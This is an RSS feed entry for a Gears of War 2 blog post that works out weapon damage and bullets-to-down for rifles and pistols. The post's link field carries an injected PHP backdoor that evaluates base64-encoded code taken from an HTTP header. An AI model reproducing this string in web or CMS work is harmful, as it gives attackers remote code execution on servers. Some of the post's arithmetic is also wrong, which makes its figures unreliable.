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	<title>Gears of War Addicts &#187; Lancer Vs Hammerburst</title>
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		<title>Gears of War 2: Math 101</title>
		<link>http://gearsofwaraddicts.com/2009/07/20/math-101/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Tue, 21 Jul 2009 03:02:46 +0000</pubDate>
		<dc:creator>LockDown</dc:creator>
				<category><![CDATA[Gears of War Guides]]></category>
		<category><![CDATA[Boltok]]></category>
		<category><![CDATA[Damage]]></category>
		<category><![CDATA[Gears]]></category>
		<category><![CDATA[Gorgon]]></category>
		<category><![CDATA[Hammerburst]]></category>
		<category><![CDATA[Lancer]]></category>
		<category><![CDATA[Lancer Vs Hammerburst]]></category>
		<category><![CDATA[Math]]></category>
		<category><![CDATA[Pistol]]></category>
		<category><![CDATA[rifle]]></category>
		<category><![CDATA[Snub]]></category>
		<category><![CDATA[Weapons]]></category>

		<guid isPermaLink="false">http://gwa.justasktheitguy.com/?p=2385</guid>
		<description><![CDATA[
I told everyone to expect a math post and here it is! So recently I got my hands on the scan of the weapon chart, and after some digging and some tests I’ve got a whole new set of data for you my friends. Lets start with the basic math.

Each player has a stock of 600 [...]]]></description>
			<content:encoded><![CDATA[<div class="wp-caption aligncenter" style="width: 410px"><img src="http://cachei.gamedesire.com/gda_data/1198/1198_l.jpg" alt="Results May Vary" width="400" height="300" /><p class="wp-caption-text">Results May Vary</p></div>
<div class="mceTemp mceIEcenter">
<dt>I told everyone to expect a math post and here it is! So recently I got my hands on the scan of the weapon chart, and after some digging and some tests I’ve got a whole new set of data for you my friends. Lets start with the basic math.</dt>
</div>
<p>Each player has a stock of 600 hp when they spawn. IF you take damage you will start regaining 200 hp every second after 2 seconds. Meaning if your at 100 hp, after 2 seconds your at 300hp after 3 seconds your at 500 and after 4 seconds your at 600, so in 4 seconds of not getting shot you will regain your full hp. Granted lag can throw this off a second or two.</p>
<p><span id="more-2385"></span>So now that you guys know that the hp is 600, if you do 600 damage it will down your opponent, unless a headshot is the final damage point, or if the weapon your using has the effect to gib(being blown to pieces).</p>
<p>Lets start with the age old question which is better the Lancer to the HammerBurst? Well mathematically speaking the numbers speak for themselves if you’re a headshot king.</p>
<p><strong>Hammerburst</strong></p>
<ul>
<li>Mag Size – 17</li>
<li>Damage – 80</li>
<li>Long Range – 48</li>
<li>Reload Time – 2 seconds(1 or so Active)</li>
<li>Headshot Bonus – 110%</li>
<li>Fire Rate &#8211; 250</li>
<li>Melee Dmg &#8211; 338</li>
</ul>
<p><strong>Lancer</strong></p>
<ul>
<li>Mag Size – 50</li>
<li>Damage – 38</li>
<li>Long Range – 23</li>
<li>Reload Time -  2.5 Seconds ( 1.5 or so Active)</li>
<li>Headshot Bonus – 150%</li>
<li>Fire Rate &#8211; 550</li>
</ul>
<p>So there are so many ways to display this data, so I’m going to give four examples 100%, 75%, 50%, and 0% headshot Accuracy. And then all four of those at Long Range.</p>
<p><strong>100%</strong></p>
<ul>
<li>HB – 7(HS)*80*1.1 = 616</li>
<li>L – 11(HS)*38*1.5 = 627</li>
</ul>
<p>Notice 7 bullets from the HB and 11 from the L, the Lancer out plays the HB easily, while 7 is less than 11 counting in fire rate. The Lancer is twice as fast as the HB meaning 11/2 = 5.5 and 5.5 is less than 7, now assuming that this guide shows 250 as the fire rate for holding down the hammer, I’ll bump the Fire Rate up to 300. That puts the Lancer at 80% faster. 11/1.8 = 6.1 which is still less than 7. That’s assuming 100% headshot, which is highly unlikely.</p>
<p><strong>75%</strong></p>
<ul>
<li>HB – 2*80+5(HS)*80*1.1 = 600</li>
<li>L &#8211; 4*38+8(HS)*38*1.5 = 608</li>
</ul>
<p>Notice the HB still does it in 7, while the Lancer takes 12, now lets take fire rate into consideration. 12/1.8 = 6.66 which is still less than 7.</p>
<p><strong>50%</strong></p>
<ul>
<li>HB – 4*80+4(HS)*80*1.1 = 672</li>
<li>L &#8211; 6*38+7(HS)*38*1.5 = 627</li>
</ul>
<p>At 50% Rounded up to the next bullet, notice the HB went up to 8 Bullets. The lancer still beats out the hammer 13/1.8 = 7.2 which is still less than 8.</p>
<p><strong>25%</strong></p>
<ul>
<li>HB – 6*80+2(HS)*80*1.1 = 656</li>
<li>L &#8211; 10*38+4(HS)*38*1.5 = 608</li>
</ul>
<p>The Lancer moved up a bullet, however 14/1.8 = 7.77 which is still less than the HB. Making it still dominate.</p>
<p><strong>0%</strong></p>
<ul>
<li>HB – 8*80 = 640</li>
<li>L &#8211; 16*38 = 608</li>
</ul>
<p>Finally! Now if the L and the HB both are at 0% the HB wins, 16/1.8 = 8.8 which is more than 8.</p>
<p>Now Remember all of this assumes every bullet lands, and that’s a little more difficult with the lancer but if your pro with it, there are the results at medium Range. Now on to long range.</p>
<p><strong>100% Long Range</strong></p>
<ul>
<li>HB – 12(HS)*48*1.1 = 633.6</li>
<li>L – 18(HS)*23*1.5 = 621</li>
</ul>
<p>Again The Lancer dominates 18/1.8 = 10 and 10 is less than 12, so assuming 100% headshots the Lancer wins.</p>
<p><strong>75% Long Range</strong></p>
<ul>
<li>HB – 4*48+8(HS)*48*1.1 = 614.4</li>
<li>L &#8211; 5*23+15(HS)*23*1.5 = 632.5</li>
</ul>
<p>Again the Lancer barely slides under 20/1.8 = 11.1, which is less than 12.</p>
<p><strong>50% Long Range</strong></p>
<ul>
<li>HB – 6*48+6(HS)*48*1.1 = 604.8</li>
<li>L &#8211; 10*23+11(HS)*23*1.5 = 609.5</li>
</ul>
<p>Again the Lancer barely slides under 21/1.8 = 11.66, which is less than 12.</p>
<p><strong>25% Long Range</strong></p>
<ul>
<li>HB – 10*48+3(HS)*48*1.1 = 638.4</li>
<li>L –  18*23+6(HS)*23*1.5 = 621</li>
</ul>
<p>At long range the Lancer is beat at 25% 24/1.8 = 13.3 which is greater than 13.</p>
<p><strong>0% Long Range</strong></p>
<ul>
<li>HB – 13*48 = 624</li>
<li>L &#8211; 27*23 = 621</li>
</ul>
<p>This one is way off, 27/1.8 = 15, which is greater by 2 bullets, than the 13 the hammer needs.</p>
<p>Now all of this math is considered to be just that math, pure solid numbers, this assumes that you hit every bullet, and we all know how hard that is with the lag, but it does show that the Lancer shooting wise is greater when headshots are present.</p>
<p>Now onto the Pistols I’ll be comparing the Gorgon the Boltok and the Snub Pistol. All of which have very different properties, but lets see which one will do the most damage. As with the pistols I’ll be doing 100%,75%,50%,25%,0% at normal and long range.</p>
<p><strong>Gorgon </strong></p>
<ul>
<li>Mag Size- 24(4 trigger pulls of 6)</li>
<li>Damage – 55</li>
<li>Long Range – 33</li>
<li>Reload Time – 2(1.5 if actived)</li>
<li>Headshot Bonus – 300%</li>
<li>Melee – 425</li>
<li>Fire Rate &#8211; 1200</li>
</ul>
<p><strong>Snub </strong></p>
<ul>
<li>Mag Size- 12</li>
<li>Damage &#8211; 55</li>
<li>Long Range – 33</li>
<li>Reload Time – 2(1 if actived)</li>
<li>Headshot Bonus – 200%</li>
<li>Melee – 338</li>
<li>Fire Rate – 700</li>
</ul>
<p><strong>Boltok</strong></p>
<ul>
<li>Mag Size-</li>
<li>Damage – 250</li>
<li>Long Range – 200</li>
<li>Reload Time – 2(1 if actived)</li>
<li>Headshot Bonus – 200%</li>
<li>Melee – 338</li>
<li>Fire Rate – 60</li>
</ul>
<p><strong>100%</strong></p>
<ul>
<li>S – 4(HS)*55*3 = 660</li>
<li>G – 6(HS)*55*2 = 660</li>
<li>B &#8211; 2(HS)*250*2 = 1000</li>
</ul>
<p>So the Boltok will be the standard that the other two weapons are based off since it is the slowest weapon, putting the boltok at 2. Counting in Fire rate 6/12 = .5 meaning at rate of fire 700 compared to the boltoks 60 it is more efficient by far due to the rate of fire since .5 is less than 4. 4/20 = .2 Which makes the gorgon the best of all.</p>
<p>Now before I keep going id like to note the math used here incase I’ve rambled to fast 6(number of bullets)/12(how many times faster the weapon is than the boltok) = .5(The amount of bullets fired compared to boltoks fire rate)</p>
<p><strong>75%</strong></p>
<ul>
<li>S – 2*55+5(HS)*55*2 = 660</li>
<li>G – 1*55+4(HS)*55*3 = 715</li>
<li>B &#8211; 1*250+1(HS)*250*2 = 750</li>
</ul>
<p>The snub is second with 7/12 = .58 and the gorgon is first with 5/20 = .25.</p>
<p><strong>50%</strong></p>
<ul>
<li>S – 3*55+4(HS)*55*2 = 605</li>
<li>G – 2*55+3(HS)*55*3 = 605</li>
<li>B &#8211; 1*250+1(HS)*250*2 = 750</li>
</ul>
<p>The numbers don’t change at all other than overall damage, since the bullet count doesn’t change the results are the same.</p>
<p>The snub is second with 7/12 = .58 and the gorgon is first with 5/20 = .25</p>
<p><strong>25%</strong></p>
<ul>
<li>S- 7*55+2(HS)*55*2 = 605</li>
<li>G- 5*55+2(HS)*55*3 = 605</li>
<li>B &#8211; 1*250+1(HS)*250*2 = 750</li>
</ul>
<p>The snub is second with 9/12 = .75 and the gorgon is first with 7/20 = .35</p>
<p><strong>0%</strong></p>
<ul>
<li>S – 11*55 = 605</li>
<li>G – 11*55 = 605</li>
<li>B – 3*250 = 750</li>
</ul>
<p>The results do not change still putting the snub at second with 11/12 = .92 and the gorgon at first again with 11/20 = .55</p>
<p>Now again This is all based on 100% accuracy meaning no bullets miss, but if so much as one bullet misses it throws off all of this math.</p>
<p><strong>100% Long Range</strong></p>
<ul>
<li>S- 10(HS)*33*2 = 660</li>
<li>G- 7(HS)*33*3 = 693</li>
<li>B- 2(HS)*200*2 = 800</li>
</ul>
<p>The snub is second with 10/12 = .83 and the gorgon at first with 7/20 = .35</p>
<p><strong>75% Long Range</strong></p>
<ul>
<li>S – 3*33+8(HS)*33*2 = 627</li>
<li>G – 2*33+6(HS)*33*3 = 660</li>
<li>B – 1*200+1(HS)*200*2 = 600</li>
</ul>
<p>The snub at 11/12 = .92 and the Gorgon at 8/20 = .4</p>
<p><strong>50% Long Range</strong></p>
<ul>
<li>S – 6*33+7(HS)*33*2 = 660</li>
<li>G – 4*33+5(HS)*33*3 = 627</li>
<li>B &#8211; 1*200+1(HS)*200*2  = 600</li>
</ul>
<p>The gorgon at 9/20 = .45 still lower than 2, however the snub pistol crosses its clip limit into 13, adding in a 1 second reload time, which puts it past the Boltok easily as well as the gorgon, so from now on I wont be calculating the fire rate for the snub to the boltok.</p>
<p><strong>25% Long Range</strong></p>
<ul>
<li>S – 11*33+4(HS)*33*2 = 627</li>
<li>G – 10*33+3(HS)*33*3 = 627</li>
<li>B – 1*200+1(HS)*200*2  = 600</li>
</ul>
<p>The gorgon at 13/20 = .65 which is still better than the Boltok.</p>
<p><strong>0% Long Range</strong></p>
<ul>
<li>S – 19*33 = 627</li>
<li>G – 19*33 = 627</li>
<li>B – 3*200 = 6</li>
</ul>
<p>Again the Snub is way out of pace, but the gorgon at 19/20 = .95 so its still twice as effective as the boltok assuming perfect aim and conditions. Now there is a slight pause between the gorgon’s fire, but not enough to cause a major problem in the math.</p>
<p>So Remember this is all math, this does not include normal accuracy just headshot accuracy, and it does not include active reload measures, which would change the pistols results, but not the Rifles, the rifle boost is 20% damage for them both, the results would be the same, the damage would just be higher.</p>
<p>Enjoy Gears Everyone!!!</p>
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